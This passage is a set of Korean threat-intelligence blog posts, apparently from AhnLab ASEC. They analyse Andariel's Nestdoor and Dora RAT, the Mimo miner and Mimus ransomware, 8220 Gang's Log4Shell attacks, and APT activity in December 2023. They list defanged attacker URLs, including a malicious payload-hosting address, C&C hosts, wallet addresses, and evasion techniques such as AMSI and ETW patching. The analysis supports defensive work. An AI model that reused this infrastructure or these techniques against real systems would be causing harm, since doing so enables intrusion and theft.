하였다. 압축 파일 내부에는 다음과 같이 설치 파일을 위장한 악성코드가 존재하는데 만약 “OpenVPN Installer.exe” 파일을 실행할 경우 동일 경로에 위치한 런처 악성코드인 “FirewallAPI.dll”이 로드되며 최종적으로 “Resource” 폴더에 존재하는 Nestdoor 악성코드 “openvpnsvc.exe”를 실행하게 된다. Nestdoor는 자신을 작업 스케줄러에 등록하여 지속성을 유지시키며 C&C 서버와 통신한다. Figure 2. OpenVPN을 위장한 악성코드 이번 공격에서 확인된 Nestdoor는 OpenVPN 사례와는 유사하지만 과거 유형들과 비교했을 때 차이점이 존재한다. 예를 들어 C&C 통신 과정에서 사용하는 명령 번호가 변경되었으며 더 적은 기능들을 지원한다. 하지만 난독화 방식이나 초기 루틴을 포함한 전체적인 구조는 유사하다. 물론 파일 작업이나 리버스 쉘과 같은 기본적인 기능들은 동일하게 제공하여 공격자가 감염 시스템을 제어할 수 있다는 점에는 차이가 없다. Figure 3. 최근 확인된 Nestdoor의 난독화 루틴과 리버스 쉘 명령 2.2. Dora RAT 최근 들어 Andariel 그룹은 공격 캠페인마다 새로운 백도어 악성코드를 제작하여 사용하고 있으며 대부분 Go 언어를 이용하는 경우가 많다. 이번에 확인된 새로운 악성코드 또한 Go 언어로 개발되었으며 공격자가 Dora RAT이라고 이름 붙였다. Figure 4. Dora RAT이라는 이름으로 개발된 악성코드 Dora RAT은 리버스 쉘, 파일 다운로드 / 업로드 기능을 지원하는 상대적으로 단순한 형태의 악성코드이다. Dora RAT은 두 가지 형태가 확인되는데 단독 실행 파일로서 동작하는 유형과 탐색기 즉 explorer.exe 프로세스에 인젝션되어 동작하는 유형이 있다. “spsvc.exe”는 WinRAR SFX 포맷의 실행 파일로서 내부에 정상 프로그램인 “OneDriverStandaloneUpdate.exe”와 인젝터 악성코드인 “version.dll”이 존재한다. 실행 시 “%APPDATA%” 경로에 이들을 설치하고 “OneDriverStandaloneUpdate.exe”를 실행하면 동일 경로에 위치한 “version.dll”이 로드되어 악성 행위를 수행한다. “version.dll”은 내부 리소스에 포함한 데이터 즉 Dora RAT을 복호화하여 탐색기 프로세스에 인젝션한다. Figure 5. 리소스에 암호화되어 저장된 Dora RAT 참고로 공격자는 유효한 인증서로 악성코드를 서명하여 유포하기도 하였다. 공격에 사용된 Dora RAT 중에는 영국 소프트웨어 개발 업체의 유효한 인증서로 서명되어 있는 유형들이 확인되었다. Figure 6. 유효한 인증서로 서명된 Dora RAT 2.3. 기타 악성코드들 2.3.1. KeyLogger / ClipLogger Dora RAT은 기본적인 제어 기능만 제공하며 이번 공격에서 확인된 Nestdoor 또한 과거 버전과 달리 상대적으로 단순한 기능만을 제공한다. 즉 키로깅이나 클립보드 로깅과 같은 기능들은 지원하지 않는다. 공격자는 이에 따라 Nestdoor를 이용해 키로깅 및 클립보드 로깅을 담당하는 악성코드를 추가적으로 설치하였다. 공격에 사용된 악성코드는 “%TEMP%” 경로에 인자로 전달받은 문자열에 해당하는 파일을 생성하고 로깅한 키 입력 및 클립보드 정보를 저장한다. Figure 7. Temp 경로에 저장된 키 입력 및 클립보드 정보 2.3.2. Stealer 공격자가 설치한 도구들 중에는 시스템에 존재하는 파일들을 탈취하는 악성코드도 존재한다. 수량이나 사이즈가 적을 경우 기존에 설치한 백도어 악성코드들을 이용할 수도 있겠지만 이를 추가적으로 설치한 것을 보면 대량의 파일들을 탈취하기 위한 목적이었을 가능성이 있다. 인자 설명 –protocol 통신에서 사용할 프로토콜 (tcp / udp) –server 탈취에 사용된 주소 (ip:port 형태) –dir, –file 탈취할 파일의 경로 –thread, –limit 성능 제한 Table 1. Stealer의 인자 2.3.3. Proxy 공격자가 추가적으로 설치한 악성코드들 대부분은 프록시 도구들이었다. 확인된 프록시 도구들 중에는 공격자가 직접 제작한 것으로 보이는 유형들도 존재하지만 오픈 소스 Socks5 프록시 도구들도 함께 확인된다. [4] [5] 눈에 띄는 점은 2021년 초 카스퍼스키 사에서 공개한 ThreadNeedle을 이용한 Lazarus 그룹의 공격 캠페인에서 확인된 프록시 도구가 사용되었다는 점이다. 비록 동일한 파일은 아니지만 사이즈나 루틴 및 인증 과정에서 사용되는 문자열까지 동일한 악성코드이다. 참고로 인증 문자열까지 동일한 해당 프록시 유형은 적어도 2014년부터 지속적으로 공격에 사용되고 있다. Figure 8. 공격에 사용된 프록시 도구 3. 결론 Andariel 그룹은 Kimsuky, Lazarus 그룹과 함께 국내를 대상으로 활발하게 활동하고 있는 위협 그룹들 중 하나이다. 초기에는 주로 안보와 관련된 정보를 획득하기 위해 공격을 전개하였지만 이후에는 금전적 이득을 목적으로 한 공격도 수행하고 있다. [6] 초기 침투 시 주로 스피어 피싱 공격이나 워터링 홀 공격 그리고 소프트웨어의 취약점을 이용하며 공격 과정에서 추가적인 취약점을 이용해 악성코드를 내부망에 배포하는 정황도 확인되고 있다. 사용자들은 출처가 불분명한 메일의 첨부 파일이나 웹 페이지에서 다운로드한 실행 파일은 각별히 주의해야 하며, 기업 보안 담당자는 자산 관리 솔루션이나 접근 통제 솔루션 등 기업 내에서 사용하는 소프트웨어에 취약점이 있다면 최신 버전으로 패치를 수행하여야 한다. 그리고 OS 및 인터넷 브라우저 등의 프로그램들에 대한 최신 패치 및 V3를 최신 버전으로 업데이트하여 이러한 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. 파일 진단 – Trojan/Win.Injector.C5610655 (2024.04.09.03) – Trojan/Win.Agent.C5610733 (2024.04.10.00) – Backdoor/Win.Nestdoor.C5610641 (2024.04.13.00) – Backdoor/Win.DoraRAT.C5610712 (2024.04.09.03) – Dropper/Win.Agent.C5610793 (2024.04.10.00) – Trojan/Win.Injector.C5610655 (2024.04.09.03) – Dropper/Win.Agent.C5610654 (2024.04.09.03) – Trojan/Win.KeyLogger.C5610642 (2024.04.09.03) – Backdoor/Win.Nestdoor.C5622508 (2024.05.16.03) – Trojan/Win.Launcher.C5622509 (2024.05.16.03) – Trojan/Win.PWS.C5068848 (2022.04.12.01) 행위 진단 – Malware/MDP.Fraud.M800 MD5 094f9a757c6dbd6030bc6dae3f8feab3 33b2b5b7c830c34c688cf6ced287e5be 468c369893d6fc6614d24ea89e149e80 4bc571925a80d4ae4aab1e8900bf753c 5df3c3e1f423f1cce5bf75f067d1d05c URL https[:]//206[.]72[.]205[.]117/ https[:]//209[.]127[.]19[.]223/ https[:]//45[.]58[.]159[.]237/ https[:]//kmobile[.]bestunif[.]com/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.
ASEC 취약점 공격으로 설치되는 Mimo 코인 마이너 with Mimus 랜섬웨어 2024-01-12
AhnLab SEcurity intelligence Center(ASEC)은 최근 Mimo라고 불리는 코인 마이너 공격자가 다양한 취약점을 공격하여 악성코드들을 설치하고 있는 정황을 확인하였다. Mimo는 Hezb라고도 불리며 2022년 3월경에 Log4Shell 취약점 공격을 통해 코인 마이너 악성코드를 설치하고 있는 사례가 최초로 확인되었다. 지금까지 알려진 공격 사례는 모두 최종적으로 Mimo Miner Bot이라고 하는 XMRig 코인 마이너를 설치하는 공격이었다. 하지만 연관 공격 사례들을 통해 동일한 공격자가 Mimo 마이너 외에도 Mimus 랜섬웨어, Proxyware 그리고 리버스 쉘 악성코드를 설치하는 사례도 함께 확인되었다. 여기에서는 Mimo 공격자가 공격에 사용한 다양한 악성코드들을 다룬다. 1. 취약점 공격 정황 최초로 확인된 Mimo 공격자의 활동은 2022년 3월경에 Log4Shell 취약점(CVE-2021-44228) 공격으로 코인 마이너를 설치한 것이었으며 [1] , 2022년 5월에는 WSO2의 원격 코드 실행 취약점인 CVE-2022-29464 취약점을 [2] , 2022년 6월에는 아틀라시안 컨플루언스(Atlassian Confluence) 서버의 취약점인 CVE-2022-26134을 공격한 사례가 공개되었다. [3] 그리고 2023년 5월에는 인쇄 관리 프로그램인 PaperCut의 원격 코드 실행 취약점인 CVE-2023–27350를 악용한 공격 사례가 [4] , 가장 최근에는 Apache ActiveMQ 취약점 (CVE-2023-46604) 공격 정황도 확인되었다. ASEC에서는 2022년경에 8220 Gang, z0Miner뿐만 아니라 Mimo (Hezb) 공격자가 취약한 아틀라시안 컨플루언스(Atlassian Confluence) 서버를 공격하여 XMRig 코인 마이너를 설치한 사례를 분석하여 공개하였다. [5] 해당 공격에 사용된 취약점 CVE-2022-26134는 패치되지 않은 취약한 아틀라시안 컨플루언스(Atlassian Confluence) 서버에 대한 원격 코드 실행 취약점이다. 아틀라시안 사의 컨플루언스는 대표적인 협업 플랫폼으로서 전 세계 많은 기업이 업무에 활용하고 있다. 컨플루언스는 웹 기반 플랫폼으로서 프로젝트 관리 및 협업과 같은 서비스는 실질적으로 컨플루언스 서버(또는 컨플루언스 데이터 센터)를 통해 제공된다. 다수의 기업들에서 사용되는 유명한 솔루션이다 보니 과거부터 꾸준히 취약한 컨플루언스 서버 및 데이터 센터를 대상으로 하는 취약점들이 발견되고 있으며 공격자들에 의해 패치되지 않은 시스템들이 공격 대상이 되고 있다. Mimo 공격자가 Log4Shell(CVE-2021-44228) 취약점을 악용해 코인 마이너를 설치하는 사례 또한 최근까지도 지속적으로 확인되고 있다. Log4Shell(CVE-2021-44228)은 자바 기반의 로깅 유틸리티인 Log4j의 취약점으로서 원격지의 자바 객체 주소를 로그 메시지에 포함시켜 Log4j를 사용하는 서버에 전송할 경우 서버에서 자바 객체를 실행시킬 수 있는 원격 코드 실행 취약점이다. 공격 대상 시스템은 VMware Horizon 제품이 설치된 시스템으로써 기업에서 원격 근무 솔루션과 클라우드 인프라 운영을 위해 사용하는 가상화 데스크톱 솔루션인 VMware Horizon을 아직까지도 패치하지 않아 내부적으로 사용 중인 Log4J가 공격당하고 있는 것으로 추정된다. 이외에도 최근에는 2023년 11월에 공개된 Apache ActiveMQ 취약점 (CVE-2023-46604) 공격 정황도 확인되었다. CVE-2023-46604는 오픈 소스 메시징 및 통합 패턴 서버인 Apache ActiveMQ 서버의 원격 코드 실행 취약점이다. 만약 패치되지 않은 Apache ActiveMQ 서버가 외부에 노출되어 있을 경우 공격자는 원격에서 악의적인 명령을 실행하여 해당 시스템을 장악할 수 있다. 취약점 공격은 classpath에 있는 클래스를 인스턴스화하도록 OpenWire 프로토콜에서 직렬화된 클래스 유형을 조작하는 방식으로 이루어진다. 만약 공격자가 조작된 패킷을 전송할 경우 취약한 서버에서는 패킷에 포함된 경로 즉 URL을 참고하여 클래스 XML 설정 파일을 로드한다. 예를 들어 취약한 Apache ActiveMQ의 자바 프로세스는 전달받은 조작된 패킷을 참고하여 “hxxp://102.130.112[.]157/poc-win.xml” 경로에 위치하는 XML 설정 파일을 로드하게 된다. 이후에는 로드한 XML 설정 파일을 참고하여 지정한 명령을 실행하는데 다음 설정 파일에는 Mimo 마이너를 다운로드하는 파워쉘 명령이 설정되어 있다. 2. XMRig 코인 마이너 공격 사례 취약점 공격을 통해 실행된 파워쉘은 Batch 악성코드를 다운로드해 실행하는데 최근에는 “lnl.bat” 또는 “kill.bat”이라는 이름이 사용된다. 해당 Batch 악성코드는 윈도우 디펜더를 비활성화하고 다른 코인 마이너를 제거한 이후 최종적으로 “ln.bat” 또는 “mad.bat”이라고 하는 Batch 악성코드를 %TEMP% 경로에 다운로드하고 실행하는 역할을 담당한다. “ln.bat” 또는 “mad.bat” Batch 악성코드는 추가적으로 “dom.zip” 또는 “dom-6.zip”이라는 압축 파일을 다운로드하고 7z 도구를 이용해 압축을 해제한다. 해당 압축 파일에는 모네로 코인 채굴을 담당하는 XMRig 코인 마이너 “dom.exe”와 NSSM 도구 “dsm.exe” 그리고 설정 파일이 저장되어 있다. Batch 스크립트는 이후 NSSM을 이용해 XMRig를 서비스에 등록한다. 비록 다양한 취약점 공격을 사용하고 있지만 코인 마이너를 설치하는 루틴은 상대적으로 단순한 편이며 XMRig나 NSSM 도구도 별다른 변형 없이 사용된다. 지갑 주소 – 1 : 43DTEF92be6XcPj5Z7U96g4oGeebUxkFq9wyHcNTe1otM2hUrfvdswGdLHxabCSTio7apowzJJVwBZw6vVTu7NoNCNAMoZ4 지갑 주소 – 2 : 46HmQz11t8uN84P8xgThrQXSYm434VC7hhNR8be4QrGtM1Wa4cDH2GkJ2NNXZ6Dr4bYg6phNjHKYJ1QfpZRBFYW5V6qnRJN 3. Mimus 랜섬웨어 Mimo 공격자의 공격들 중 대부분은 최근까지도 XMRig 코인 마이너 즉 Mimo 마이너를 설치하는 사례들이다. 하지만 2023년에는 랜섬웨어 공격 사례도 확인된다. 랜섬웨어는 2023년경에 Mimo 마이너를 유포한 주소와 동일한 곳에서 동일한 시점에 확인되었다. 해당 Batch 악성코드를 통해 설치된 랜섬웨어는 “mauri870”이라는 개발자가 연구 목적으로 개발하여 깃허브에 공개한 소스 코드를 기반으로 만들어졌다. [6] 해당 소스 코드는 다른 공격자들에 의해 자주 사용되고 있는 것인지 MauriCrypt로 탐지되고 있다는 내용도 설명에 함께 포함되어 있다. 여기에서는 해당 오픈 소스 랜섬웨어를 MauriCrypt로 부른다. MauriCrypt는 Go 언어로 개발되었으며 공격자는 이를 이용해 랜섬웨어를 제작한 후 Mimus 랜섬웨어라는 이름을 붙였다. Mimus 랜섬웨어는 MauriCrypt의 소스 코드와 비교했을 때 별다른 차이가 존재하지 않으며 공격자의 C&C 주소, 지갑 주소, 이메일 주소와 같은 설정 데이터만 변경되었다. 개요 설명 암호화 알고리즘 AES-256 CTR 암호화 확장자 .encrypted 랜섬노트 이름 READ_TO_DECRYPT.html, FILES_ENCRYPTED.html 암호화 제외 경로 “ProgramData”, “Windows”, “bootmgr”, “$WINDOWS.~BT”, “Windows.old”, “Temp”, “tmp”, “Program Files”, “Program Files (x86)”, “AppData”, “$Recycle.Bin” 암호화 대상 확장자 “doc”, “docx”, “msg”, “odt”, “wpd”, “wps”, “txt”, “csv”, “pps”, “ppt”, “pptx”, “aif”, “iif”, “m3u”, “m4a”, “mid”, “mp3”, “mpa”, “wav”, “wma”, “3gp”, “3g2”, “avi”, “flv”, “m4v”, “mov”, “mp4”, “mpg”, “vob”, “wmv”, “3dm”, “3ds”, “max”, “obj”, “blend”, “bmp”, “gif”, “png”, “jpeg”, “jpg”, “psd”, “tif”, “gif”, “ico”, “ai”, “eps”, “ps”, “svg”, “pdf”, “indd”, “pct”, “epub”, “xls”, “xlr”, “xlsx”, “accdb”, “sqlite”, “dbf”, “mdb”, “pdb”, “sql”, “db”, “dem”, “gam”, “nes”, “rom”, “sav”, “bkp”, “bak”, “tmp”, “cfg”, “conf”, “ini”, “prf”, “html”, “php”, “js”, “c”, “cc”, “py”, “lua”, “go”, “java” C&C 주소 hxxp://windows.n1tro[.]cyou:4544 Table 1. Mimus 랜섬웨어 개요 MauriCrypt는 감염 시스템의 “id”와 암호화에 사용되는 AES 키값 “enckey”를 랜덤하게 생성한 후 C&C 서버에 접속해 전달한다. 참고로 Mimus 랜섬웨어는 비활성화되어 있지만 MauriCrypt는 C&C 서버와의 통신에 Tor를 지원하는 기능도 포함되어 있다. Tor 브라우저를 다운로드하여 %TEMP% 경로에 설치한 이후 이를 실행하고 Tor 브라우저를 거쳐 C&C 서버에 접속하는 방식이다. 이후 예외 경로를 제외한 다른 경로들에서 지정한 확장자에 해당하는 파일들을 암호화한다. 암호화된 파일은 이름이 Base64로 인코딩되며 확장자가 “.encrypted”로 변경된다. 파일 암호화가 끝나면 바탕화면에 2개의 랜섬노트가 생성된다. 랜섬노트 “FILES_ENCRYPTED.html”는 암호화된 파일들의 목록이 저장되어 있으며, 랜섬노트 “READ_TO_DECRYPT.html”에 연락할 주소와 비트코인 지갑 주소가 포함되어 있다. 공격자의 메일 주소 : arbeyceo@proton[.]me 공격자의 비트코인 지갑 주소 : 15Jz1fmreZx9wG93DKjTXMhuLpPpCgvEQk 복호화 도구 판매 사이트 : hxxps://satoshidisk[.]com/pay/CIIRg6 랜섬노트에 명시된 복호화 도구 판매 사이트에 접속하면 복호화 도구를 0.01050000 BTC에 판매하는 글을 확인할 수 있다. Mimus 랜섬웨어 공격과 직접적인 관련은 알 수 없지만 비트코인 지갑 주소의 기록에 따르면 다수의 거래 내역들이 확인된다. 4. Proxyware 유포 방식 및 설치하는 스크립트는 확인되지 않았지만 Mimo 마이너를 유포하던 시점에 동일한 주소에서 Proxyware와 리버스 쉘 악성코드가 다운로드되었던 이력도 존재한다. 즉 공격자는 수익을 창출하기 위해 랜섬웨어 공격 및 코인 마이닝 외에도 Proxyware를 설치하는 Proxyjacking 공격을 함께 사용한 것으로 추정된다. Proxyware란 설치된 시스템에서 현재 사용 가능한 인터넷 대역폭 일부를 외부에 공유하는 프로그램으로서 일반적으로 이를 설치하는 사용자는 대역폭을 제공하는 대신 일정한 금액을 받는다. 만약 공격자가 사용자의 동의 없이 감염 시스템에 Proxyware를 몰래 설치할 경우 감염된 시스템은 비자발적으로 네트워크 대역폭을 탈취당하게 되며 수익은 공격자에게 돌아가게 된다. 이는 Cryptojacking 공격과 유사한데 Proxyware 대신 코인 마이너를 설치하여 감염 시스템의 자원으로 암호 화폐를 채굴하는 것이 차이점이다. 5. NHAS 리버스 쉘 이외에도 Mimo 마이너의 다운로드 주소와 동일한 주소를 C&C 서버로 사용하는 리버스 쉘 악성코드도 확인되었다. 공격에 사용된 리버스 쉘은 “NHAS”가 개발하여 깃허브에 공개된 reverse_ssh라는 도구로서 Go 언어로 개발되어 있으며 C&C 서버와의 통신에 SSH 프로토콜을 사용하는 것이 특징이다. [7] NHAS 리버스 쉘은 기본적으로 이름처럼 리버스 쉘이기 때문에 다른 백도어 및 RAT 유형들과 비교해서 명령 실행이나 파일 작업, 포트 포워딩과 같은 기본적인 명령들만 제공한다. 하지만 이를 설치하였다는 것은 공격자가 단순하게 감염 시스템에 코인 마이닝이나 Proxyware 그리고 랜섬웨어를 설치하여 수익을 얻을 뿐만 아니라 추가적인 작업을 위해 감염 시스템에 대한 제어를 탈취하기도 한다는 것을 의미한다. 6. 결론 2022년 초에 최초로 확인된 Mimo 마이너 공격자는 최근까지도 Log4Shell(CVE-2021-44228), WSO2의 원격 코드 실행 취약점인 CVE-2022-29464, 아틀라시안 컨플루언스(Atlassian Confluence) 서버의 취약점인 CVE-2022-26134, 인쇄 관리 프로그램인 PaperCut의 원격 코드 실행 취약점 CVE-2023–27350 그리고 Apache ActiveMQ 취약점 (CVE-2023-46604) 등의 취약점 공격들을 통해 악성코드들을 설치하고 있다. 이러한 취약점들은 모두 패치가 패치가 공개되었지만 공격자는 적절하게 관리되지 못하고 있는 시스템들을 대상으로 하기 때문에 공격은 아직까지도 계속되고 있다. 시스템 관리자는 사용 중인 서비스가 취약한 버전인지 점검하고 최신 버전으로 패치해 기존에 알려진 취약점으로부터 공격을 방지해야 한다. 또한 외부에 오픈되어 접근 가능한 서버에 대해 방화벽과 같은 보안 제품을 이용해 공격자로부터의 접근을 통제해야 한다. 마지막으로 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. 파일 진단 – Downloader/BAT.CoinMiner.SC195961 (2024.01.11.02) – Downloader/BAT.CoinMiner.SC195959 (2024.01.11.02) – CoinMiner/BAT.Xmrig.SC195960 (2024.01.11.02) – CoinMiner/BAT.Xmrig.SC195962 (2024.01.11.02) – Unwanted/Win32.NSSM.R353938 (2020.10.27.00) – Trojan/Win32.RL_Miner.R363967 (2021.01.23.01) – Win-Trojan/Miner3.Exp (2020.01.23.00) – Data/JSON.Miner (2022.05.11.03) – Data/JSON.Miner (2021.12.12.00) – Downloader/BAT.CoinMiner.SC195966 (2024.01.11.02) – Downloader/BAT.CoinMiner.SC195964 (2024.01.11.02) – CoinMiner/BAT.Xmrig.SC195965 (2024.01.11.02) – CoinMiner/BAT.Xmrig.SC195963 (2024.01.11.02) – Downloader/BAT.Agent (2024.01.11.02) – Malware/Win32.Generic.C4280792 (2020.12.28.01) – Unwanted/Win.Peer2Profit.C5572495 (2024.01.11.02) – Backdoor/Win.ReverseShell.C5572514 (2024.01.11.03) – Downloader/XML.Generic (2024.01.12.00) 행위 진단 – Execution/MDP.Powershell.M1185 – Connection/MDP.Event.M2367 MD5 1136efb1a46d1f2d508162387f30dc4d 3edcde37dcecb1b5a70b727ea36521de 52cef8752f2c0f9a5383d2aecbdccc6f 5d32f0eee7adf20e0766d5481a1953a5 5e0f18dfe16f274d34716d011e0a3f39 URL http[:]//102[.]130[.]112[.]157/7za[.]exe http[:]//102[.]130[.]112[.]157/dom-6[.]zip http[:]//102[.]130[.]112[.]157/dom[.]zip http[:]//102[.]130[.]112[.]157/kill[.]bat http[:]//102[.]130[.]112[.]157/ln[.]bat AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.
ASEC 2023년 12월 APT 그룹 동향 보고 2024-01-09
2023년 1월 보안 업체와 기관에서 공개된 분석 내용을 종합한 주요 APT 그룹의 사례는 다음과 같다. 1) Andariel 한국 경찰은 Andariel 그룹이 한국의 방위산업, IT 보안기업, 연구소, 교육 등 14개 곳을 공격했으며 랜섬웨어로 4월 7천 만원을 벌었다고 공개했다. [1] Cisco Talos 는 Andariel 그룹의 Operation Blacksmith 캠페인을 공개했다. [2] Andariel 그룹은 남미와 유럽 지역의 제조, 농업 및 물리적 보안 회사 표적으로 삼았으며 Log4 취약점 (CVE-2021-44228)으로 공격했다. 이 캠페인에는 HazyLoad, NineRAT, BottomLoader, DLRAT 악성코드가 사용되었으며, NineRAT은 텔레그램 채널을 명령 및 제어(C2) 통신으로 사용한다. 2) APT28 Proofpoint 는 2023년 3월부터 APT28 (TA422)의 피싱 활동을 관찰했다. [3] 유럽과 북미의 교육, 정부, 제조, 항공 우주 분야를 대상으로 Microsoft Outlook의 권한 상승 취약점(CVE-2023-23397)과 WinRAR의 원격 코드 실행 취약점(CVE-2023-38831)을 이용해 공격했다. 2023년 늦여름 메일에는 TNEF(Transport Neutral Encapsulation Format) 파일을 사용하는 약속 첨부 파일이 포함되어 있었다. TNEF 파일은 가짜 파일 확장자를 사용하여 CSV, Excel 파일 또는 Word 문서로 가장했다. 손상되었을 가능성이 있는 Ubiquiti 라우터에서 호스팅 되는 SMB 수신기로 트래픽을 전달하는 UNC 경로를 포함했다. NTLM 인증을 통해 대상의 비밀번호 해시를 획득했다. IBM X-Force는 APT28 그룹이 이스라엘-하마스 갈등을 이용한 사이버 스파이지 캠페인을 주도하고 있다고 공개했다. [4] 공격의 대상은 주로 헝가리, 터키, 호주, 폴란드, 벨기에, 우크라이나, 독일, 아제르바이잔, 사우디아라비아, 카자흐스탄, 이탈리아, 라트비아, 루마니아 등의 국가였다. CERT-UA는 2023년 12월 국가 기관을 대상으로 이메일을 통한 공격을 확인했다. [5] Python 언어로 작성된 MASEPIE 악성코드를 통해 OPENSSH, STEELHOOK, OCEANMAP 등의 추가 악성코드를 다운로드했다. 초기 단계에서부터 IMPACKET, SMBEXEC 등의 도구를 설치하여 네트워크를 탐색하고 추가적인 공격을 시도했다. WinRAR의 원격 코드 실행 취약점(CVE-2023-38831)을 이용하기로 했으며 일부는 Headlace 백도어를 감염시켰다. 3) APT29 Fortinet IR 팀 [6] 과 폴란드 CERT [7] 는 APT29로 추정되는 그룹이 TeamCity 취약점 (CVE-2023-42793)을 이용해 의학 제조 업계를 공격했다고 공개했다. Python으로 작성된 맞춤형 익스플로잇 스크립트를 사용하여 CVE-2023-42793 TeamCity 취약점을 공격했다. 공격 후 사용된 악성코드의 동작은 APT29가 사용하는 GraphicalProton 악성코드와 일치했다. 4) Calisto (Star Blizzard) 마이크로소프트와 영국, 미국, 캐나다, 호주 및 뉴질랜드 정부 기관은 Calisto (Star Blizzard)가 정부 또는 외교, 러시아와 관련된 국방 정책이나 국제 관계 연구, 우크라이나 지원 등에 대한 이메일 자격 증명 도용에 계속 집중하고 있다고 공개했다. [8] Calisto 그룹은 탐지 회피 능력을 향상시키기 위해 서버 측 스크립트 사용, 이메일 마케팅 플랫폼 서비스 사용, DNS 공급자 사용, 비밀번호로 보호된 PDF 파일, 클라우드 기반 파일 공유 플랫폼에 호스팅 된 PDF 파일 링크 사용, 무작위적인 도메인 생성 알고리즘으로의 전환 (DGA) 등의 기법을 사용하고 있다. 미국과 영국 정부는 두 명의 러시아 국적자 Ruslan Peretyatko 와 Andrey Korinets 에 대해 CALISTO 작전에 적극적으로 관여한 혐의로 기소했다. [9] Sekoia는 Calisto 그룹 관계자와 관련된 신상 정보를 공개했다. [10] 5) Kasablanka 360은 Kasablanka 그룹으로 추정되는 활동을 발견했다. [11] 이 그룹은 아제르바이잔과 아르메니아가 분쟁 지역인 나고르노카라바흐 지역(Nagorno-Karabakh)을 표적으로 삼아 공격을 진행했고 있다. VenomRAT 악성 소프트웨어를 배포, 다단계 전달 메커니즘, 난독화 전략 그리고 전략적인 소셜 엔지니어링을 활용해 목표를 공격했다. 공격자는 AMSI.dll의 AmsiScanBuffer()를 수정하여 AMSI를 우회하고, ntdll.dll의 EtwEventWrite()를 수정하여 Windows 이벤트 추적(ETW)을 비활성화한다. [1] https://www.smpa.go.kr/user/nd42986.do?View&uQ=&pageST=SUBJECT&pageSV=&imsi=imsi&page=1&pageSC=SORT_ORDER&pageSO=DESC&dmlType=&boardNo=00300907&returnUrl=https://www.smpa.go.kr:443/user/nd4 [2] https://blog.talosintelligence.com/lazarus_new_rats_dlang_and_telegram/ [3] https://www.proofpoint.com/us/blog/threat-insight/ta422s-dedicated-exploitation-loop-same-week-after-week [4] https://securityintelligence.com/x-force/itg05-ops-leverage-israel-hamas-conflict-lures-to-deliver-headlace-malware/ [5] https://cert.gov.ua/article/6276894 [6] https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793 [7] https://cert.pl/en/posts/2023/12/apt29-teamcity [8] https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/ [9] https://home.treasury.gov/news/press-releases/jy1962 [10] https://blog.sekoia.io/calisto-doxxing-sekoia-io-findings-concurs-to-reuters-investigation-on-fsb-related-andrey-korinets/ [11] https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&mid=2247494512&idx=1&sn=151caeb7b46c3a6a58af714a576a8442
ASEC Log4Shell 취약점 공격으로 코인 마이너를 설치하는 8220 Gang 공격 그룹 2023-04-17
AhnLab Security Emergency response Center(ASEC)에서는 최근 8220 Gang 공격 그룹이 VMware Horizon 서버에 대한 Log4Shell 취약점을 이용해 코인 마이너 악성코드를 설치하고 있는 것을 확인하였다. 공격 대상으로 확인된 시스템들 중에는 국내 에너지 관련 기업도 존재하며 취약점이 패치되지 않은 취약한 시스템을 운영하고 있음에 따라 다수의 공격자들의 공격 대상이 되고 있다. Log4Shell(CVE-2021-44228)은 자바 기반의 로깅 유틸리티인 Log4j의 취약점으로서 원격지의 자바 객체 주소를 로그 메시지에 포함시켜 Log4j를 사용하는 서버에 전송할 경우 서버에서 자바 객체를 실행시킬 수 있는 원격 코드 실행 취약점이다. 1. 8220 Gang 공격 그룹 8220 Gang 공격 그룹은 주로 취약한 윈도우 / 리눅스 시스템들을 공격 대상으로 하는 공격 그룹으로서, 2017년 경부터 그 활동이 확인되고 있다. [1] 취약한 시스템이 확인될 경우 최종적으로 코인 마이너 악성코드를 설치하는 것이 특징이다. 8220 Gang 공격 그룹은 해외뿐만 아니라 국내 시스템들도 공격 대상으로 하며, 과거 ASEC에서 취약한 국내 시스템을 대상으로 Atlassian Confluence 서버 취약점 CVE-2022-26134를 악용하여 코인 마이너를 설치한 공격 사례를 공개한 바 있다. 취약한 Atlassian Confluence 서버를 대상으로 하는 공격 사례 CVE-2022-26134 취약점 공격이 성공할 경우 다음과 같은 파워쉘 명령으로 추가적인 파워쉘 스크립트를 다운로드해 실행하며 최종적으로 XMRig 코인 마이너를 설치하였다. 최근 Fortinet에서는 8220 Gang 공격 그룹이 Oracle Weblogic 서버 취약점을 이용해 ScrubCrypt를 설치한 공격 사례를 공개한 바 있다. [2] ScrubCrypt는 닷넷으로 개발된 Crypter로서 추가 악성코드를 설치할 수 있는 기능을 제공하는 악성코드이다. Fortinet에서 소개한 공격 사례는 자사 AhnLab Smart Defense(ASD) 로그를 통해서도 확인되었으며, 공격 과정에서 설치된 ScrubCrypt는 최종적으로 8220 Gang의 공격 목표인 XMRig 코인 마이너를 설치한다. ASEC에서는 최근 8220 Gang 공격 그룹이 Oracle Weblogic 서버 취약점 외에 Log4Shell 취약점을 이용해 ScrubCrypt 악성코드를 다운로드한 이력을 확인하였다. ScrubCrypt를 통해 최종적으로 설치되는 악성코드는 이전과 동일하게 XMRig 코인 마이너이다. 2. Log4Shell 공격 로그 Log4Shell은 2021년 12월에 공개된 이후 다양한 공격자들에 의해 사용되고 있으며, 최근까지도 해외뿐만 아니라 국내를 대상으로 패치되지 않은 취약한 시스템들을 대상으로 하는 공격에 사용되고 있다. ASEC에서는 2022년 Lazarus 그룹이 해당 취약점을 악용해 NukeSped 악성코드를 유포한 공격 사례를 공개한 바 있다. 공격자는 보안 패치가 이루어지지 않은 VMware Horizon 제품에 log4j 취약점을 사용하였다. [3] VMware Horizon 제품은 가상화 데스크톱 솔루션으로써 기업에서 원격 근무 솔루션과 클라우드 인프라 운영을 위해 사용하는 제품이다. Log4Shell 취약점을 악용하는 Lazarus 그룹 (NukeSped) ASEC에서는 최근 취약한 ws_tomcatservice.exe 프로세스가 코인 마이너 악성코드를 설치하는 로그를 확인하였다. 해당 공격 과정을 통해 설치되는 악성코드는 최종적으로 XMRig 코인 마이너였으며 8220 Gang 